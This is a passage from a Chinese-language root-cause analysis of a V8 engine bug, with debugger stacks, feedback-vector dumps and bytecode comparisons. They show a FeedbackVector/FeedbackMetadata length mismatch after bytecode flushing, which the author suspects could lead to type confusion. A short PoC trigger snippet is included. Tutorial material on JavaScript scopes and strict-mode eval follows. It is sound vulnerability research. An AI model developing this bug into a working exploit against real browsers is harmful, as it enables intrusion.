v8::internal::TaggedField<v8::internal::Object, 0, v8::internal::V8HeapCompressionScheme>::store(v8::internal::HeapObject host, int offset, v8::internal::Object value) (src/objects/tagged-field-inl.h:96)
libv8.so!v8::internal::TorqueGeneratedSharedFunctionInfo<v8::internal::SharedFunctionInfo, v8::internal::HeapObject>::set_outer_scope_info_or_feedback_metadata(v8::internal::TorqueGeneratedSharedFunctionInfo<v8::internal::SharedFunctionInfo, v8::internal::HeapObject> * this, v8::internal::HeapObject value, v8::internal::WriteBarrierMode mode) (out/x64.debug/gen/torque-generated/src/objects/shared-function-info-tq-inl.inc:177)
libv8.so!v8::internal::SharedFunctionInfo::set_raw_outer_scope_info_or_feedback_metadata(v8::internal::SharedFunctionInfo * this, v8::internal::HeapObject value, v8::internal::WriteBarrierMode mode) (src/objects/shared-function-info-inl.h:111)
libv8.so!v8::internal::SharedFunctionInfo::DiscardCompiledMetadata(v8::internal::Isolate*, std::Cr::function<void (v8::internal::HeapObject, v8::internal::CompressedObjectSlot, v8::internal::HeapObject)>)(v8::internal::SharedFunctionInfo * this, v8::internal::Isolate * isolate, std::Cr::function<void (v8::internal::HeapObject, v8::internal::CompressedObjectSlot, v8::internal::HeapObject)> gc_notify_updated_slot) (src/objects/shared-function-info.cc:367)
libv8.so!v8::internal::MarkCompactCollector::FlushBytecodeFromSFI(v8::internal::MarkCompactCollector * this, v8::internal::SharedFunctionInfo shared_info) (src/heap/mark-compact.cc:3167)
libv8.so!v8::internal::MarkCompactCollector::ProcessOldCodeCandidates(v8::internal::MarkCompactCollector * this) (src/heap/mark-compact.cc:3298)
libv8.so!v8::internal::MarkCompactCollector::ClearNonLiveReferences(v8::internal::MarkCompactCollector * this) (src/heap/mark-compact.cc:3049)
libv8.so!v8::internal::MarkCompactCollector::CollectGarbage(v8::internal::MarkCompactCollector * this) (src/heap/mark-compact.cc:612)
libv8.so!v8::internal::Heap::MarkCompact(v8::internal::Heap * this) (src/heap/heap.cc:2551)
libv8.so!v8::internal::Heap::PerformGarbageCollection(v8::internal::Heap * this, v8::internal::GarbageCollector collector, v8::internal::GarbageCollectionReason gc_reason, const char * collector_reason) (src/heap/heap.cc:2234)
libv8.so!v8::internal::Heap::CollectGarbage(v8::internal::Heap * this, v8::internal::AllocationSpace space, v8::internal::GarbageCollectionReason gc_reason, const v8::GCCallbackFlags gc_callback_flags) (src/heap/heap.cc:1697)
libv8.so!v8::internal::Heap::CollectAllAvailableGarbage(v8::internal::Heap * this, v8::internal::GarbageCollectionReason gc_reason) (src/heap/heap.cc:1506)
libv8.so!v8::internal::Heap::AllocateExternalBackingStore(std::Cr::function<void* (unsigned long)> const&, unsigned long)(v8::internal::Heap * this, const std::Cr::function<void *(unsigned long)> & allocate, size_t byte_length) (src/heap/heap.cc:3113)
libv8.so!v8::internal::BackingStore::Allocate(v8::internal::Isolate * isolate, size_t byte_length, v8::internal::SharedFlag shared, v8::internal::InitializedFlag initialized) (src/objects/backing-store.cc:269)
因为源码中申请了大数组,V8被迫进行垃圾回收。回收时,将FeedbackMetadata对应的内存空间进行回收。但FeedbackVector对应的空间是不会被回收的。
- 第二次命中硬件断点时,对应的调用栈如下:
libv8.so!std::Cr::__cxx_atomic_store[abi:v160000]<int>(std::Cr::__cxx_atomic_base_impl<int> volatile*, int, std::Cr::memory_order)(volatile std::Cr::__cxx_atomic_base_impl<int> * __a, int __val, std::Cr::memory_order __order) (buildtools/third_party/libc++/trunk/include/atomic:936)
libv8.so!std::Cr::__atomic_base<int, false>::store[abi:v160000](int, std::Cr::memory_order) volatile(volatile std::Cr::__atomic_base<int, 0> * this, int __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1529)
libv8.so!std::Cr::atomic_store_explicit[abi:v160000]<int>(std::Cr::atomic<int> volatile*, std::Cr::atomic<int>::value_type, std::Cr::memory_order)(volatile std::Cr::atomic<int> * __o, std::Cr::atomic<int>::value_type __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1878)
libv8.so!v8::base::Release_Store(volatile v8::base::Atomic32 * ptr, v8::base::Atomic32 value) (src/base/atomicops.h:207)
libv8.so!v8::base::AsAtomicImpl<int>::Release_Store<unsigned int>(unsigned int * addr, unsigned int new_value) (src/base/atomic-utils.h:102)
libv8.so!v8::internal::TaggedField<v8::internal::FeedbackMetadata, 12, v8::internal::V8HeapCompressionScheme>::Release_Store(v8::internal::HeapObject host, v8::internal::FeedbackMetadata value) (src/objects/tagged-field-inl.h:186)
libv8.so!v8::internal::SharedFunctionInfo::set_feedback_metadata(v8::internal::SharedFunctionInfo * this, v8::internal::FeedbackMetadata value, v8::internal::WriteBarrierMode mode) (src/objects/shared-function-info-inl.h:489)
libv8.so!v8::internal::(anonymous namespace)::InstallUnoptimizedCode<v8::internal::Isolate>(v8::internal::UnoptimizedCompilationInfo * compilation_info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate) (src/codegen/compiler.cc:691)
libv8.so!v8::internal::(anonymous namespace)::FinalizeSingleUnoptimizedCompilationJob<v8::internal::Isolate>(v8::internal::UnoptimizedCompilationJob * job, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list) (src/codegen/compiler.cc:756)
libv8.so!v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> outer_shared_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * parse_info, v8::internal::AccountingAllocator * allocator, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list, v8::internal::DeferredFinalizationJobDataList * jobs_to_retry_finalization_on_main_thread) (src/codegen/compiler.cc:848)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::CreateSourcePositions create_source_positions_flag) (src/codegen/compiler.cc:2518)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2556)
libv8.so!v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::RuntimeArguments args, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:64)
libv8.so!v8::internal::Runtime_CompileLazy(int args_length, v8::internal::Address * args_object, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:45)
[Unknown/Just-In-Time compiled code] (Unknown Source:0)
我们可以看出,V8为该函数进行了重编译,并重新设置了它的FeedbackMetadata。此时,我们再打印FeedbackVector和FeedbackMetadata的调试信息,就会发现它的不一致:
0x37060025af0d: [FeedbackVector] in OldSpace
- map: 0x37060000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 11 [!]
- shared function info: 0x37060025a505 <SharedFunctionInfo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 4
- profiler ticks: 0
- closure feedback cell array: 0x37060025a8d9: [ClosureFeedbackCellArray] in OldSpace
- map: 0x370600002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 2
0: 0x37060025a8e9 <FeedbackCell[many closures]>
1: 0x37060025a8f5 <FeedbackCell[many closures]>
- slot #0 Literal {
[0]: 0x37060025b091 <AllocationSite>
}
- slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
[weak] 0x37060025442d <PropertyCell name=0x370600006005 <String[4]: #eval> value=0x37060024af25 <JSFunction eval (sfi = 0x37060021dca1)>> {
[1]: [weak] 0x37060025442d <PropertyCell name=0x370600006005 <String[4]: #eval> value=0x37060024af25 <JSFunction eval (sfi = 0x37060021dca1)>>
[2]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #3 Call MONOMORPHIC {
[3]: [weak] 0x37060024af25 <JSFunction eval (sfi = 0x37060021dca1)>
[4]: 12
}
- slot #5 DefineNamedOwn MONOMORPHIC {
[5]: [weak] 0x37060025a929 <Map[16](HOLEY_ELEMENTS)>
[6]: 3604480
}
- slot #7 SetNamedStrict MONOMORPHIC
[cleared]: StoreHandler(<unexpected>)(0x3706000073e5 <Symbol: (uninitialized_symbol)>) {
[7]: [cleared]
[8]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
}
0x37060025a505: [SharedFunctionInfo] in OldSpace
- map: 0x370600002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x370600002529 <String[0]: #>
- inferred name: 0x370600002529 <String[0]: #>
- kind: ArrowFunction
- syntax kind: AnonymousExpression
- function_map_index: 205
- formal_parameter_count: 1
- expected_nof_properties: 2
- language_mode: sloppy
- data: 0x37060025c491 <BytecodeArray[103]>
- code (from data): 0x37060020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
- source code: (a = class b3 {
[({ c: eval() } ? 0 : (aa = 1))]
}) => { let z = 0xdeadbeef; }
- script: 0x37060025a2f5 <Script>
- function token position: 472
- start position: 472
- end position: 570
- no debug info
- scope info: 0x37060025c2b5 <ScopeInfo FUNCTION_SCOPE>
- outer scope info: 0x37060025a40d <ScopeInfo BLOCK_SCOPE>
- length: 0
- feedback_metadata: 0x37060025c51d: [FeedbackMetadata] in OldSpace
- map: 0x3706000029a9 <Map(FEEDBACK_METADATA_TYPE)>
- slot_count: 9 [!]
- create_closure_slot_count: 2
Slot #0 Literal
Slot #1 LoadGlobalNotInsideTypeof
Slot #3 Call
Slot #5 DefineNamedOwn
Slot #7 SetNamedStrict
length域为11,slot_count域为9。这正是修改后PoC2崩溃时Check的报错信息。
反思总结
此时,我们想起两次lambda表达式实例函数的字节码不同的问题,再去对两个字节码进行观察:
[generated bytecode for function: (0x37060025a505 <SharedFunctionInfo>)]
Bytecode length: 105
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x37060025a78a @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0x37060025a78d @ 3 : 1a f9 PushContext r1
0x37060025a78f @ 5 : 10 LdaTheHole
0x37060025a790 @ 6 : 25 02 StaCurrentContextSlot [2]
0x37060025a792 @ 8 : 0b 03 Ldar a0
0x37060025a794 @ 10 : 9d 56 JumpIfNotUndefined [86] (0x37060025a7ea @ 96)
0x37060025a796 @ 12 : 81 01 CreateBlockContext [1]
0x37060025a798 @ 14 : 1a f8 PushContext r2
0x37060025a79a @ 16 : 10 LdaTheHole
0x37060025a79b @ 17 : 25 02 StaCurrentContextSlot [2]
0x37060025a79d @ 19 : 10 LdaTheHole
0x37060025a79e @ 20 : 25 03 StaCurrentContextSlot [3]
0x37060025a7a0 @ 22 : 10 LdaTheHole
0x37060025a7a1 @ 23 : be Star6
0x37060025a7a2 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x37060025a7a6 @ 28 : c1 Star3
0x37060025a7a7 @ 29 : 13 02 LdaConstant [2]
0x37060025a7a9 @ 31 : c0 Star4
0x37060025a7aa @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x37060025a7ae @ 36 : bc Star8
0x37060025a7af @ 37 : 21 05 01 LdaGlobal [5], [1]**
0x37060025a7b2 @ 40 : bb Star9
0x37060025a7b3 @ 41 : 61 f1 03 CallUndefinedReceiver0 r9, [3]**
0x37060025a7b6 @ 44 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]**
0x37060025a7ba @ 48 : 19 f7 f5 Mov r3, r5
0x37060025a7bd @ 51 : 0b f2 Ldar r8
0x37060025a7bf @ 53 : 97 05 JumpIfToBooleanFalse [5] (0x37060025a7c4 @ 58)
0x37060025a7c1 @ 55 : 0c LdaZero
0x37060025a7c2 @ 56 : 8a 0a Jump [10] (0x37060025a7cc @ 66)
0x37060025a7c4 @ 58 : 0d 01 LdaSmi [1]
0x37060025a7c6 @ 60 : bc Star8
0x37060025a7c7 @ 61 : 23 07 07 StaGlobal [7], [7]**
0x37060025a7ca @ 64 : 0b f2 Ldar r8
0x37060025a7cc @ 66 : 73 f3 ToName r7
0x37060025a7ce @ 68 : 0b f3 Ldar r7
0x37060025a7d0 @ 70 : 25 02 StaCurrentContextSlot [2]
0x37060025a7d2 @ 72 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x37060025a7d7 @ 77 : 0b f7 Ldar r3
0x37060025a7d9 @ 79 : 25 03 StaCurrentContextSlot [3]
0x37060025a7db @ 81 : 80 08 01 02 CreateClosure [8], [1], #2
0x37060025a7df @ 85 : c0 Star4
0x37060025a7e0 @ 86 : 32 f7 09 09 SetNamedProperty r3, [9], [9]**
0x37060025a7e4 @ 90 : 1b f8 PopContext r2
0x37060025a7e6 @ 92 : 0b f7 Ldar r3
0x37060025a7e8 @ 94 : 8a 04 Jump [4] (0x37060025a7ec @ 98)
0x37060025a7ea @ 96 : 0b 03 Ldar a0
0x37060025a7ec @ 98 : 25 02 StaCurrentContextSlot [2]
0x37060025a7ee @ 100 : 13 0a LdaConstant [10]
0x37060025a7f0 @ 102 : c4 Star0
0x37060025a7f1 @ 103 : 0e LdaUndefined
0x37060025a7f2 @ 104 : a9 Return
Constant pool (size = 11)
0x37060025a729: [FixedArray] in OldSpace
- map: 0x370600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x37060025a429 <ScopeInfo FUNCTION_SCOPE>
1: 0x37060025a459 <ScopeInfo CLASS_SCOPE>
2: 0x37060025a705 <FixedArray[7]>
3: 0x37060025a611 <SharedFunctionInfo b3>
4: 0x37060025a671 <ObjectBoilerplateDescription[3]>
5: 0x370600006005 <String[4]: #eval>
6: 0x3706000040a5 <String[1]: #c>
7: 0x37060025a359 <String[2]: #aa>
8: 0x37060025a649 <SharedFunctionInfo <instance_members_initializer>>
9: 0x3706000071e5 <Symbol: (class_fields_symbol)>
10: 0x37060025a75d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
打两个星号的地方都代表Feedback Slot的编号。根据第一次运行的字节码计算,FeedbackVector的长度正好为11。
[generated bytecode for function: (0x37060025a505 <SharedFunctionInfo>)]
Bytecode length: 103
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x37060025c4b2 @ 0 : 83 00 02 CreateFunctionContext [0], [2]
0x37060025c4b5 @ 3 : 1a f9 PushContext r1
0x37060025c4b7 @ 5 : 10 LdaTheHole
0x37060025c4b8 @ 6 : 25 03 StaCurrentContextSlot [3]
0x37060025c4ba @ 8 : 0b 03 Ldar a0
0x37060025c4bc @ 10 : 9d 54 JumpIfNotUndefined [84] (0x37060025c510 @ 94)
0x37060025c4be @ 12 : 81 01 CreateBlockContext [1]
0x37060025c4c0 @ 14 : 1a f8 PushContext r2
0x37060025c4c2 @ 16 : 10 LdaTheHole
0x37060025c4c3 @ 17 : 25 02 StaCurrentContextSlot [2]
0x37060025c4c5 @ 19 : 10 LdaTheHole
0x37060025c4c6 @ 20 : 25 03 StaCurrentContextSlot [3]
0x37060025c4c8 @ 22 : 10 LdaTheHole
0x37060025c4c9 @ 23 : be Star6
0x37060025c4ca @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x37060025c4ce @ 28 : c1 Star3
0x37060025c4cf @ 29 : 13 02 LdaConstant [2]
0x37060025c4d1 @ 31 : c0 Star4
0x37060025c4d2 @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x37060025c4d6 @ 36 : bc Star8
0x37060025c4d7 @ 37 : 28 05 01 02 LdaLookupGlobalSlot [5], [1]**, [2]
0x37060025c4db @ 41 : bb Star9
0x37060025c4dc @ 42 : 61 f1 03 CallUndefinedReceiver0 r9, [3]**
0x37060025c4df @ 45 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]**
0x37060025c4e3 @ 49 : 19 f7 f5 Mov r3, r5
0x37060025c4e6 @ 52 : 0b f2 Ldar r8
0x37060025c4e8 @ 54 : 97 05 JumpIfToBooleanFalse [5] (0x37060025c4ed @ 59)
0x37060025c4ea @ 56 : 0c LdaZero
0x37060025c4eb @ 57 : 8a 07 Jump [7] (0x37060025c4f2 @ 64)
0x37060025c4ed @ 59 : 0d 01 LdaSmi [1]
0x37060025c4ef @ 61 : 2c 07 01 StaLookupSlot [7], #1
0x37060025c4f2 @ 64 : 73 f3 ToName r7
0x37060025c4f4 @ 66 : 0b f3 Ldar r7
0x37060025c4f6 @ 68 : 25 02 StaCurrentContextSlot [2]
0x37060025c4f8 @ 70 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x37060025c4fd @ 75 : 0b f7 Ldar r3
0x37060025c4ff @ 77 : 25 03 StaCurrentContextSlot [3]
0x37060025c501 @ 79 : 80 08 01 02 CreateClosure [8], [1], #2
0x37060025c505 @ 83 : c0 Star4
0x37060025c506 @ 84 : 32 f7 09 07 SetNamedProperty r3, [9], [7]**
0x37060025c50a @ 88 : 1b f8 PopContext r2
0x37060025c50c @ 90 : 0b f7 Ldar r3
0x37060025c50e @ 92 : 8a 04 Jump [4] (0x37060025c512 @ 96)
0x37060025c510 @ 94 : 0b 03 Ldar a0
0x37060025c512 @ 96 : 25 03 StaCurrentContextSlot [3]
0x37060025c514 @ 98 : 13 0a LdaConstant [10]
0x37060025c516 @ 100 : c4 Star0
0x37060025c517 @ 101 : 0e LdaUndefined
0x37060025c518 @ 102 : a9 Return
Constant pool (size = 11)
0x37060025c451: [FixedArray] in OldSpace
- map: 0x370600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x37060025c2b5 <ScopeInfo FUNCTION_SCOPE>
1: 0x37060025c2e5 <ScopeInfo CLASS_SCOPE>
2: 0x37060025c42d <FixedArray[7]>
3: 0x37060025c339 <SharedFunctionInfo b3>
4: 0x37060025c399 <ObjectBoilerplateDescription[3]>
5: 0x370600006005 <String[4]: #eval>
6: 0x3706000040a5 <String[1]: #c>
7: 0x37060025c25d <String[2]: #aa>
8: 0x37060025c371 <SharedFunctionInfo <instance_members_initializer>>
9: 0x3706000071e5 <Symbol: (class_fields_symbol)>
10: 0x37060025c485 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
根据第二次运行的字节码计算,FeedbackVector的长度为9。这与上述的11出现了差异。
在此处,尽管我们还不确定Root Cause的位置,但我们可以猜想:因为Root Cause,导致重编译时对FeedbackMetadata的slot_count计算错误。当我们巧妙构造lambda表达式,使得首次编译和重编译时FeedbackMetadata的slot_count和FeedbackVector的length相等时,就有可能发生类型混淆。
利用After Patch版本的V8引擎运行修改后PoC3的情况印证了这一情况,两次编译产生的字节码全部相同,除了ASLR之外,未产生Feedback上的差异。
预备知识2
JavaScript执行上下文(Execution Context)
执行上下文(也被称为作用域)的定义
An execution context is a specification device that is used to track the runtime evaluation of code by an ECMAScript implementation.[17]
JavaScript的执行上下文是一种具有规范标准的数据结构。它用于跟踪 ECMAScript 实现对代码的运行时评估。在V8引擎的具体实现中,它也被称为Scope(作用域)。
作用域的组成部分
Execution Context主要包含四部分:
- Variable Environment(变量环境):存放由var声明的变量。
- Lexical Environment(词法环境):存放由let声明的变量。
- Outer Scope:指向当前作用域的外层作用域。
- This对象。
作用域的类型
- Global scope:全局作用域
- Function scope:函数作用域
- Block scope:块级作用域
一些例子
- Global scope与Variable Environment:
- Block scope与Lexical Environment:
- Block scope与Lexical Environment:
作用域链(Scope Chain)
变量查找
在下面的例子中,变量查找的结果可能会让人感到困惑:
当执行isApple
函数时,我们有三个堆叠的执行上下文:
- 全局执行上下文
isBanana
函数执行上下文isApple
函数执行上下文
接下来,引擎开始查找apple变量。直觉上讲,引擎应该在执行上下文堆栈中从上到下的依次分析查找。控制台会输出banana
,因为它在isBanana
函数的执行上下文中找到了apple
变量。
但与之相反,控制台实际上输出了在全局执行上下文中赋值的apple
。为什么呢?
外部作用域(Outer Scope)
我们的链式属性查找示意图中遗漏了执行上下文中的一个关键数据,即外部作用域(Outer Scope)。
外部作用域指示JavaScript引擎如何进行链式属性查找,这条链也称为作用域链(Scope Chain)。
如果我们查看isApple
函数的执行上下文,它的外部指向全局执行上下文。
在这种情况下,JavaScript引擎在isApple
的执行上下文中找不到apple
变量后,就立即在全局执行上下文中查找该变量。
但这并没有真正解决疑惑。Outer Scope的概念引出了另一个问题。为什么isApple
的执行上下文的Outer Scope指向全局上下文而不是isBanana
?毕竟,isApple
函数是在isBanana
内部调用的。作用域链不应该遵循调用堆栈吗?
与直觉相反,JavaScript的作用域链是由词法作用域(lexical scope)定义的,从不受调用堆栈的影响。换种说法来讲,作用域链是在编译步骤定义的,而不是在执行步骤定义的。
为了进一步回答这个问题,我们需要解开JavaScript如何设计词法作用域的神秘面纱。
基于词法的作用域间层次关系(Lexical Scope)
JavaScript引擎有一条规则:词法作用域由函数所在的位置定义。让我们从词法作用域的角度来看同一个例子。
在这种情况下,isApple
和isBanana
函数是在全局范围内声明的。因此,它们的外部作用域是全局作用域。当JavaScript引擎编译脚本时,两个函数的执行上下文都指向全局执行上下文。
为了更好地理解这个特性,让我们看另一个例子。我们不是在全局范围内声明函数,而是在前一个函数的内部定义后一个函数。
在这种情况下,
- 函数priceA是在全局作用域内定义的;
- 函数priceB是在priceA作用域中定义的;
- 函数priceC是在priceB作用域中定义的。
基于词法范围,我们可以推导每个执行上下文的外部作用域:
- 在priceC执行上下文中,外部作用域指向priceB执行上下文;
- 在priceB执行上下文中,外部作用域指向priceA执行上下文;
- 在priceA执行上下文中,外部作用域指向全局执行上下文。
最后的打印结果为30。
this与作用域间的关系
this是什么?
在本例中,getPrice输出“10”,getThis输出apple对象。因此,我们找到了答案:谁调用该方法,this就是谁。
虽然Outer Scope是在编译期决定的,但this是在运行时确定的。
当一个函数被声明时,它的默认this值是window。当你不带receiver的执行一个函数时,调用该函数的是window对象。因此,此时的this是window对象。
我们可以通过更改调用者来重置this。
在最后一行中,我们使用call函数将this更改为banana对象。当JavaScript引擎执行这一行时,banana对象调用getPrice函数。因此,this是banana,控制台打印“20”。
把this转化为作用域的概念
虽然this和作用域无关,但我们可以很容易地将其转换为Scope的概念。下面展示了使用this的一个典型例子。
谁调用了discount函数?乍一看,它看起来像是getPrice调用的。然而,控制台打印了window对象。
到目前为止,我们知道函数(或方法)要么由对象或window调用,而不是由函数调用。在这种情况下,discount函数是由window调用的。
这是JavaScript的一个设计缺陷——this对象不能从外部作用域继承,因为它从来都不是作用域概念的一部分。我们可以通过将this分配给局部变量来快速解决此问题。
从ES6标准开始,我们有箭头函数(lambda表达式)来避免使用多余的self。箭头函数不会将this转换为作用域的概念。相反,它只是不创建执行上下文,而是与上级执行上下文共享相同的this。
JavaScript的严格(Strict)模式与松散(Sloppy)模式
ECMAScript 5的严格模式是采用具有限制性 JavaScript 变体的一种方式,从而使代码隐式地脱离“马虎模式/稀松模式/懒散模式“(sloppy)模式。严格模式不仅仅是一个子集:它的产生是为了形成与正常代码不同的语义。不支持严格模式与支持严格模式的浏览器在执行严格模式代码时会采用不同行为。所以在没有对运行环境展开特性测试来验证对于严格模式相关方面支持的情况下,就算采用了严格模式也不一定会取得预期效果。严格模式代码和非严格模式代码可以共存,因此项目脚本可以渐进式地采用严格模式。严格模式对正常的 JavaScript 语义做了一些更改。
- 严格模式通过抛出错误来消除了一些原有静默错误。
- 严格模式修复了一些导致 JavaScript 引擎难以执行优化的缺陷:有时候,相同的代码,严格模式可以比非严格模式下运行得更快。
- 严格模式禁用了在 ECMAScript 的未来版本中可能会定义的一些语法。
简单例子:将过失错误转成异常
在严格模式下,某些先前被接受的过失错误将会被认为是异常。JavaScript 被设计为能使新人开发者更易于上手,所以有时候会给本来错误操作赋予新的不报错误的语义 (non-error semantics). 有时候这可以解决当前的问题,但有时候却会给以后留下更大的问题。严格模式则把这些失误当成错误,以便可以发现并立即将其改正。
例如,严格模式下无法再意外创建全局变量。在普通的 JavaScript 里面给一个错误命名的变量名赋值会使全局对象新增一个属性并继续“工作”(尽管将来可能会失败:在现代的 JavaScript 中有可能)。严格模式中意外创建全局变量被抛出错误替代:
"use strict";
// 假如有一个全局变量叫做 mistypedVariable
mistypedVaraible = 17; // 因为变量名拼写错误
// 这一行代码就会抛出 ReferenceError
严格模式对eval的约束
严格模式下的 eval 不再为上层作用域 (surrounding scope,注:包围 eval 代码块的范围,v8称为outer scope) 引入新变量. 在正常模式下,代码 eval("var x;")
会给上层函数 (surrounding function) 或者全局引入一个新的变量 x
. 这意味着,一般情况下,在一个包含 eval
调用的函数内所有没有引用到参数或者局部变量的名称都必须在运行时才能被映射到特定的定义 (因为 eval
可能引入的新变量会覆盖它的外层变量). 在严格模式下 eval
仅仅为被运行的代码创建变量,所以 eval
不会使得名称映射到外部变量或者其他局部变量:
var x = 17;
var evalX = eval("'use strict'; var x = 42; x");
console.assert(x === 17);
console.assert(evalX === 42);
相应地,如果函数 eval
被在严格模式下的eval(...)
以表达式的形式调用时,其代码会被当做严格模式下的代码执行。当然也可以在代码中显式开启严格模式,但这样做并不是必须的。
function strict1(str) {
"use strict";
return eval(str); // str 中的代码在严格模式下运行
}
function strict2(f, str) {
"use strict";
return f(str); // 没有直接调用 eval(...): 当且仅当 str 中的代码开启了严格模式时
// 才会在严格模式下运行
}
function nonstrict(str) {
return eval(str); // 当且仅当 str 中的代码开启了"use strict",str 中的代码才会在严格模式下运行
}
strict1("'Strict mode code!'");
strict1("'use strict'; 'Strict mode code!'");
strict2(eval, "'Non-strict code.'");
strict2(eval, "'use strict'; 'Strict mode code!'");
nonstrict("'Non-strict code.'");
nonstrict("'use strict'; 'Strict mode code!'");
因此,在 eval 执行的严格模式代码下,变量的行为与严格模式下非 eval 执行的代码中的变量相同。
class与严格模式的关系
类声明体在严格模式下运行。[18]
第二次分析:PoC2正向问题定位:Root Cause
lambda表达式实例自身及其两个内部闭包
lambda表达式实例JSFunction的调试打印
采用修改后的PoC2继续进行调试,观察崩溃时lambda表达式实例JSFunction数据结构的调试打印:
0x6e000282381: [Function]
- map: 0x06e000244361 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x06e000244215 <JSFunction (sfi = 0x6e00020adf1)>
- elements: 0x06e000002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x06e00025a505 <SharedFunctionInfo>
- name: 0x06e000002529 <String[0]: #>
- builtin: CompileLazy
- formal_parameter_count: 1
- kind: ArrowFunction
- context: 0x06e00028236d <BlockContext[3]>
- code: 0x06e00020b7e5 <CodeDataContainer BUILTIN CompileLazy>
- interpreted
- bytecode: 0x06e00025c449 <BytecodeArray[103]>
- source code: (a = class b3 {
[({ c: eval() } ? 0 : (aa = 1))]
}) => { let z = 0xdeadbeef; }
- properties: 0x06e000002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x6e000006559: [String] in ReadOnlySpace: #length: 0x06e0002042fd <AccessorInfo name= 0x06e000006559 <String[6]: #length>, data= 0x06e0000023e1 <undefined>> (const accessor descriptor), location: descriptor
0x6e0000067a1: [String] in ReadOnlySpace: #name: 0x06e0002042e5 <AccessorInfo name= 0x06e0000067a1 <String[4]: #name>, data= 0x06e0000023e1 <undefined>> (const accessor descriptor), location: descriptor
}
- feedback vector: 0x6e00025af31: [FeedbackVector] in OldSpace
- map: 0x06e00000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 11
- shared function info: 0x06e00025a505 <SharedFunctionInfo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 4
- profiler ticks: 0
- closure feedback cell array: 0x6e00025a8e1: [ClosureFeedbackCellArray] in OldSpace
- map: 0x06e000002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 2
0: 0x06e00025a8f1 <FeedbackCell[many closures]>
1: 0x06e00025a8fd <FeedbackCell[many closures]>
- slot #0 Literal {
[0]: 0x06e00025b0b5 <AllocationSite>
}
- slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
[weak] 0x06e00025442d <PropertyCell name=0x06e000006005 <String[4]: #eval> value=0x06e00024af25 <JSFunction eval (sfi = 0x6e00021dca1)>> {
[1]: [weak] 0x06e00025442d <PropertyCell name=0x06e000006005 <String[4]: #eval> value=0x06e00024af25 <JSFunction eval (sfi = 0x6e00021dca1)>>
[2]: 0x06e0000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #3 Call MONOMORPHIC {
[3]: [weak] 0x06e00024af25 <JSFunction eval (sfi = 0x6e00021dca1)>
[4]: 12
}
- slot #5 DefineNamedOwn MONOMORPHIC {
[5]: [weak] 0x06e00025a931 <Map[16](HOLEY_ELEMENTS)>
[6]: 3604480
}
- slot #7 SetNamedStrict MONOMORPHIC
[cleared]: StoreHandler(<unexpected>)(0x06e0000073e5 <Symbol: (uninitialized_symbol)>) {
[7]: [cleared]
[8]: 0x06e0000073e5 <Symbol: (uninitialized_symbol)>
}
其中,ClosureFeedbackCellArray的存在引起了我的注意,该数组内部有两个元素,存储的都是FeedbackCell,且都不是Lambda表达式实例的FeedbackCell。这个名字让我感觉Lambda表达式实例内部还存在两个闭包,需要继续进行探究。
lambda表达式实例的字节码
为找到lambda表达式实例内部的两个闭包,观察第二次生成的lambda表达式实例字节码如下:
[generated bytecode for function: (0x06e00025a505 <SharedFunctionInfo>)]
Bytecode length: 103
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
